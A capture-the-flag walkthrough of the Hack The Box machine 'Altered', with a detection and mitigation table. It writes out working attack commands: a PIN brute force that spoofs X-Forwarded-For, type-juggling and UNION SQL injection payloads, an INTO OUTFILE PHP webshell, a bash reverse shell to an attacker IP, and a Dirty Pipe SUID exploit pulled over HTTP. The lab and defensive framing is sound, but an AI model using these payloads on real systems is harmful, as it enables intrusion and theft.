Overview

Altered is a Hard-rated Linux machine built for a UHC (Ultimate Hacking Championship) event. Machine author: ghost-2. Operating system: Ubuntu 20.04 Focal. IP: 10.10.10.x.

A Laravel staff dashboard leaks valid usernames through its login errors. The password reset issues a four-digit PIN and throttles by client IP, but the app trusts X-Forwarded-For from any client, so pairing every PIN guess with a fresh spoofed IP defeats the limiter and recovers the PIN. An authenticated API endpoint guards its records with an MD5-looking secret compared using PHP’s loose ==, so sending the secret as the boolean true bypasses the check - and because the id field also accepts a string, it opens a UNION-based SQL injection. The database account holds FILE, so INTO OUTFILE writes a PHP webshell into the web root for a shell as www-data. The kernel is 5.16.0 from January 2022, vulnerable to Dirty Pipe (CVE-2022-0847); a SUID binary overwrite (or an /etc/passwd edit past a pam_wordle gimmick) gives root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
recon (nmap, feroxbuster)
   -> username enumeration on /login
   -> /reset: 4-digit PIN, IP-throttled
   -> rate-limit bypass: spoof X-Forwarded-For, one IP per PIN guess
   -> PIN brute force  ->  dashboard access
   -> /api/getprofile: type juggling (secret = true) bypasses the check
   -> id as a string  ->  UNION SQL injection (3 columns)
   -> FILE privilege  ->  load_file read, INTO OUTFILE write
   -> PHP webshell in /srv/altered/public  ->  www-data
   -> CVE-2022-0847 (Dirty Pipe)  ->  root

Three ideas worth keeping:

  1. A rate limiter that keys on a client-controlled forwarding header is not a limiter. Test the whole family (X-Forwarded-For, X-Real-IP, X-Originating-IP, X-Client-IP); usually only one is trusted.
  2. PHP == against a boolean coerces most non-empty strings to true. An integrity check written with == instead of === / hash_equals() is no check at all.
  3. A database account with FILE turns any SQL injection into arbitrary file read and, where the web root is writable, remote code execution - independent of the injection itself.

Reconnaissance

Nmap

1
2
3
# full TCP sweep, then a targeted service/script scan on the open ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.x | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -Pn -sC -sV 10.10.10.x
1
2
3
4
5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: UHC March Finals
|_Requested resource was http://10.10.10.x/login

Only two ports. The OpenSSH banner (8.2p1 Ubuntu 4ubuntu0.4) fingerprints the host as Ubuntu 20.04 Focal. With SSH offering no obvious way in, HTTP is the entry point - it exposes the largest attack surface, and the redirect to /login says the app gates everything behind authentication.

Web application

Port 80 serves a “UHC Staff Dashboard” login page. Two behaviours stand out immediately.

First, the login form is a username enumeration oracle. A known account returns Invalid Password, while an unknown one returns a message that the user does not exist. admin is valid, and player handles taken from the public UHC winners page (for example big0us) are valid too. Distinct error messages for “wrong password” versus “no such user” leak account existence - a classic information-disclosure flaw that turns a public list of names into a set of confirmed usernames.

Second, the stack is clearly Laravel/PHP:

  • /index.php redirects to /index.php/login (PHP path-info behaviour), while index.html 404s.
  • Responses set XSRF-TOKEN and laravel_session cookies, both signatures of Laravel.

A short directory brute force with a PHP extension confirms the interesting endpoints:

1
feroxbuster -u http://10.10.10.x -x php
1
2
3
4
200  GET  http://10.10.10.x/login
200  GET  http://10.10.10.x/reset
200  GET  http://10.10.10.x/test
301  ...  /css  /js  /fonts  ...

/reset is the lead worth pulling on.

The password-reset flow

Failing a login reveals a “Forgot Password?” link pointing at /reset. Submitting a valid username there claims a PIN has been emailed. The form placeholder (1234) and the behaviour on a wrong guess - the message changes and the form is re-rendered - tell us two things: the PIN is only four digits, and it is tied to the current laravel_session cookie rather than to the account alone.

A four-digit PIN has only 10,000 possible values. With no per-account lockout, the only thing between us and the reset is whatever server-side throttling exists.

Initial Access

PIN brute force and rate-limit bypass

The reset PIN is validated at /api/resettoken, which takes name and pin parameters. A naive brute force stalls almost immediately:

1
2
3
4
5
wfuzz -u http://10.10.10.x/api/resettoken \
  -d "name=admin&pin=FUZZ" \
  -z range,0000-9999 \
  -H 'Cookie: XSRF-TOKEN=...; laravel_session=...' \
  --hh 5644

After roughly 60 requests the response flips to 429 Too Many Requests (a recognisable 36 L / 125 W body). The --hh value hides the default “wrong PIN” response so that only anomalies surface.

The stack is nginx acting as a reverse proxy in front of Laravel. Laravel’s throttler keys requests by client IP. When an application is configured to trust a forwarding header (via its TrustProxies middleware) without pinning that trust to a known proxy address, a client can set the header itself and appear to originate from a fresh IP on every request - defeating any per-IP limit.

Testing header candidates from the usual rate-limit-bypass list, X-Originating-IP is ignored, but X-Forwarded-For is honoured:

1
X-Forwarded-For: 127.0.0.1

With that header present, the 429 responses stop. The lesson is to test the whole family of forwarding headers rather than assuming one - the app only trusts a specific one.

Pairing each PIN with a unique IP

To keep every request looking like a new client, each PIN needs its own spoofed IP. That means running two wordlists in lockstep, not as a cross-product. In wfuzz this is the zip mode (-m zip): with lists [a,b] and [c,d] it tries ac, bd rather than every combination.

The catch is that the paired list must be at least as long as the PIN range, or wfuzz stops at the shorter list’s length. Generate ~10k values:

1
2
3
4
# enough unique last-octet values to cover the full PIN space
while [ $(wc -l < numbers) -le 10000 ]; do
  for i in $(seq 1 254); do echo $i; done
done >> numbers

Then run the paired fuzz, injecting the second list into X-Forwarded-For:

1
2
3
4
5
6
7
wfuzz -u http://10.10.10.x/api/resettoken \
  -d 'name=admin&pin=FUZZ' \
  -z range,1000-9999 \
  -m zip -w numbers \
  -H 'X-Forwarded-For: 127.0.0.FUZ2Z' \
  -H 'Cookie: XSRF-TOKEN=...; laravel_session=...' \
  --hh 5644

FUZZ iterates the PIN, FUZ2Z iterates the spoofed IP octet, and --hh hides the default response so the single valid PIN stands out with a different length:

1
200  138 L  303 W  5366 Ch   <-- valid PIN

Entering that PIN at /reset unlocks a password-change form. Setting a known password and logging in completes access to the dashboard.

Note: the exact winning PIN and cookie-dependent response lengths vary per session, so the value that fires will differ between runs. What matters is the anomalous response size, not the specific number.

Bypassing the secret check with type juggling

The dashboard lists UHC winners with a “View” link per player, wired to an inline AJAX call:

1
<a href="#" onclick="getBio('1','89cb389c73f667c5511ce169033089cb');">View</a>
1
2
3
function getBio(id, secret) {
  $.ajax({ type: "GET", url: 'api/getprofile', data: { id: id, secret: secret } });
}

Each id carries a fixed secret that looks like an MD5 hash but is not a plain hash of the id - most likely md5(salt + id) computed server-side. Tampering with secret returns a tampered input error, so the value is validated before the record is fetched.

Switching the request to POST returns 405 Method Not Allowed, but the endpoint accepts a JSON body on a GET request. With the legitimate secret in JSON, the profile comes back. The interesting question is how the server compares the secret. If it uses PHP’s loose comparison operator (==) rather than strict (===), the check is vulnerable to type juggling: comparing a non-empty string against the boolean true coerces to true.

Sending the secret as a boolean bypasses the check entirely:

1
{ "id": 4, "secret": true }

The profile is returned. Crucially, id also works as a string:

1
{ "id": "4", "secret": true }

That last detail matters - a string field will happily carry a SQL injection payload, whereas an integer field would reject it. Type juggling did not just skip a check; it opened the door to the injection below.

SQL injection

A single quote breaks the query and returns a 500:

1
{ "id": "1'", "secret": true }

12 alone also errors (no such record), but a boolean-based test restores a valid response:

1
{ "id": "12 or 1=1;-- -", "secret": true }

This implies a query shaped like:

1
SELECT profile FROM users WHERE id = [input];

Incrementing the UNION column count shows the query returns three columns, with the third reflected back:

1
{ "id": "0 union select 1,2,3-- -", "secret": true }

From there, standard information_schema enumeration maps the custom uhc database:

1
2
3
4
5
6
7
8
9
-- databases
0 union select 1,2,group_concat(schema_name) from information_schema.schemata-- -

-- tables and columns in uhc
0 union select 1,2,group_concat(concat('\n', table_name, ':', column_name))
  from information_schema.columns where table_schema = 'uhc';-- -

-- users and password hashes
0 union select 1,2,group_concat(concat('\n', name, ':', password)) from users;-- -

The users table yields bcrypt ($2y$10$...) hashes. These are a dead end - bcrypt is deliberately slow to crack, and players can change these passwords anyway, so nothing useful is expected here. The real value of the injection is the FILE privilege it exposes.

SQL injection to file read and write

With FILE, load_file() reads arbitrary files:

1
2
0 union select 1,2,load_file('/etc/passwd');-- -
0 union select 1,2,load_file('/etc/nginx/sites-enabled/default');-- -

The nginx config confirms the web root at /srv/altered/public, which matches Laravel’s documented layout. Knowing a writable, web-served directory is the setup for the next step.

INTO OUTFILE can then drop files into that web root. The write itself returns a 500, but the file lands regardless:

1
0 union select 1,2,'test' into outfile '/srv/altered/public/test.html';-- -
1
2
$ curl http://10.10.10.x/test.html
1    2    test

A PHP proof follows:

1
0 union select 1,2,'<?php phpinfo(); ?>' into outfile '/srv/altered/public/info.php';-- -

Browsing /info.php renders phpinfo() - confirmed remote code execution via SQLi-driven file write.

Foothold as www-data

To avoid quoting problems inside the SQL string, the reverse shell is base64-encoded and decoded at runtime:

1
2
$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'" | base64
<BASE64>
1
2
0 union select 1,2,'<?php system(base64_decode("<BASE64>")); ?>'
  into outfile '/srv/altered/public/shell.php';-- -

With a listener ready, visiting /shell.php triggers the callback:

1
2
3
$ nc -lvnp 4444
connect to [10.10.14.x] from (UNKNOWN) [10.10.10.x]
www-data@altered:/srv/altered/public$

Upgrade to a usable TTY and grab the user flag from the only home directory on the box:

1
2
3
www-data@altered:/srv/altered/public$ script /dev/null -c /bin/bash
www-data@altered:/home/htb$ cat user.txt
[REDACTED_USER_FLAG]

Privilege Escalation

Identifying the vulnerability

1
2
www-data@altered:/home/htb$ uname -a
Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022 x86_64 GNU/Linux

Kernel 5.16.0 (January 2022) predates the Dirty Pipe fixes (5.16.11 / 5.15.25 / 5.10.102) and is therefore vulnerable to CVE-2022-0847. Dirty Pipe abuses an uninitialised PIPE_BUF_FLAG_CAN_MERGE flag to inject data into a file’s page cache and have it flushed to disk, allowing modification of files the user cannot normally write. It works within three constraints: the file must be readable, the first byte cannot be changed, and the file size cannot grow.

No compiler is present on the target, so the PoC is compiled on the attack host and pulled over HTTP:

1
2
3
# attacker
$ gcc exploit-2.c -o exploit
$ python3 -m http.server 4000
1
2
3
# target
www-data@altered:/tmp$ wget http://10.10.14.x:4000/exploit
www-data@altered:/tmp$ chmod +x exploit

Variant A - SUID overwrite (clean path)

Rather than touching /etc/passwd, this variant hijacks an existing SUID-root binary, drops a root shell, and restores the original:

1
2
3
4
5
6
7
www-data@altered:/tmp$ ./exploit /usr/bin/pkexec
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),117(mysql)
1
2
# cat /root/root.txt
[REDACTED_ROOT_FLAG]

Variant B - /etc/passwd and the PAM-Wordle twist

The more common Dirty Pipe PoC edits /etc/passwd and then calls su. On Altered that path hits an unusual obstacle - the box ships with a pam_wordle module inserted into the PAM auth stack, so su prompts a Wordle-style game instead of a password:

1
2
3
--- Welcome to PAM-Wordle! ---
A five character [a-z] word has been selected. You have 6 attempts.
? - wrong letter | * - right letter, wrong spot | [a-z] - correct

The dictionary is non-standard and skewed toward hacking/IT terms; a working sequence is hacks -> shell -> mkdir -> ngrok. Solving it, then supplying the password the exploit set (piped), yields root. This is an event-flavoured gimmick rather than a realistic control, but it is a good reminder that when one primitive path is blocked by an unexpected mechanism, the same underlying vulnerability usually offers another - here, overwriting a SUID binary instead of the passwd file.

How the SUID exploit works

The SUID variant is worth reversing because the payload is opaque in the source. exploit-2 backs up the original bytes of the target binary (from offset 1 onward), uses the Dirty Pipe primitive hax() to write an embedded ELF into the binary starting at byte 1 (byte 0 is untouchable by design), executes the now-hijacked binary, then restores the original bytes.

The injected ELF, extracted and disassembled, is just a handful of syscalls:

1
2
3
4
5
fd = open("/tmp/sh", O_CREAT|...);   // syscall 0x02
write(fd, <second_elf>, 0xba);       // syscall 0x01
close(fd);                           // syscall 0x03
chmod("/tmp/sh", 04755);             // syscall 0x5a  (SUID root)
exit(0);                             // syscall 0x3c

It drops a second, SUID-root binary at /tmp/sh. That binary in turn does:

1
2
3
setuid(0);
setgid(0);
execve("/bin/sh", ["/bin/sh"], NULL);

So the chain is: hijack a SUID binary -> have it write a SUID-root helper -> restore the original binary -> run the helper for a clean root shell. Because the helper self-elevates via setuid(0) / setgid(0), the final shell is fully root even though the payload never touched /etc/passwd.

Detection and Mitigation

StageRoot causeMitigation
Username enumerationDistinct login error messagesReturn a single neutral “invalid credentials” message
Rate-limit bypassApp trusts X-Forwarded-For from any clientPin TrustProxies to the known proxy IP/CIDR
PIN brute force4-digit token, no per-account lockoutHigh-entropy tokens, per-account throttling, short TTL
Secret check bypassPHP loose comparison (==)Use === / hash_equals()
SQL injectionUnparameterised queryPrepared statements
SQLi to RCEDB account has FILE, web root writable by MySQLLeast privilege, restrict secure_file_priv, non-writable web root
RootOutdated kernel (Dirty Pipe)Patch management

Detection signals:

  • Repeated POST /api/resettoken with rotating X-Forwarded-For values from a single TCP source.
  • 500 spikes on /api/getprofile with non-string secret values or SQL metacharacters in id.
  • MySQL writing files under the web root (INTO OUTFILE), and new .php files appearing in /srv/altered/public.
  • www-data spawning /bin/bash from an nginx/php-fpm worker, and a non-package binary executing from /tmp.
  • A SUID-root binary changing hash and changing back within seconds (the Dirty Pipe SUID overwrite).

Lessons Learned

  • Distinct “wrong password” versus “no such user” responses turn a public name list into confirmed accounts.
  • A rate limiter keyed on X-Forwarded-For is bypassed by spoofing the header; pair one fresh IP per guess (wfuzz -m zip).
  • Test the whole forwarding-header family (X-Forwarded-For, X-Real-IP, X-Originating-IP, X-Client-IP); only one is usually trusted.
  • PHP == against true coerces most non-empty strings; integrity checks need === or hash_equals().
  • A string-typed parameter that was meant to be an integer is where injection lives.
  • The DB FILE privilege is the real prize in a SQLi: load_file for reads, INTO OUTFILE for a webshell where the web root is writable.
  • When a known privesc path is blocked by an unexpected control, the same vulnerability usually offers another primitive - a SUID overwrite instead of /etc/passwd.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# recon
ports=$(nmap -p- --min-rate=1000 -T4 <IP> | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -Pn -sC -sV <IP>
feroxbuster -u http://<IP> -x php

# rate-limit bypass + PIN brute force
while [ $(wc -l < numbers) -le 10000 ]; do for i in $(seq 1 254); do echo $i; done; done >> numbers
wfuzz -u http://<IP>/api/resettoken \
  -d 'name=admin&pin=FUZZ' -z range,1000-9999 \
  -m zip -w numbers \
  -H 'X-Forwarded-For: 127.0.0.FUZ2Z' \
  -H 'Cookie: XSRF-TOKEN=...; laravel_session=...' \
  --hh 5644

# type juggling: send a JSON body on a GET request
#   { "id": "4", "secret": true }

# SQL injection payloads (value of the "id" field)
0 union select 1,2,3-- -
0 union select 1,2,group_concat(schema_name) from information_schema.schemata-- -
0 union select 1,2,load_file('/etc/nginx/sites-enabled/default')-- -
0 union select 1,2,'<?php system($_GET[0]); ?>' into outfile '/srv/altered/public/shell.php'-- -

# foothold
echo "bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'" | base64
# drop the base64 into a system(base64_decode("...")) webshell via INTO OUTFILE
nc -lvnp 4444
script /dev/null -c /bin/bash

# privesc (Dirty Pipe, CVE-2022-0847)
gcc exploit-2.c -o exploit
python3 -m http.server 4000                  # attacker
wget http://<LHOST>:4000/exploit && chmod +x exploit
./exploit /usr/bin/pkexec                     # SUID overwrite -> root shell

Based on public write-ups of the Hack The Box machine Altered.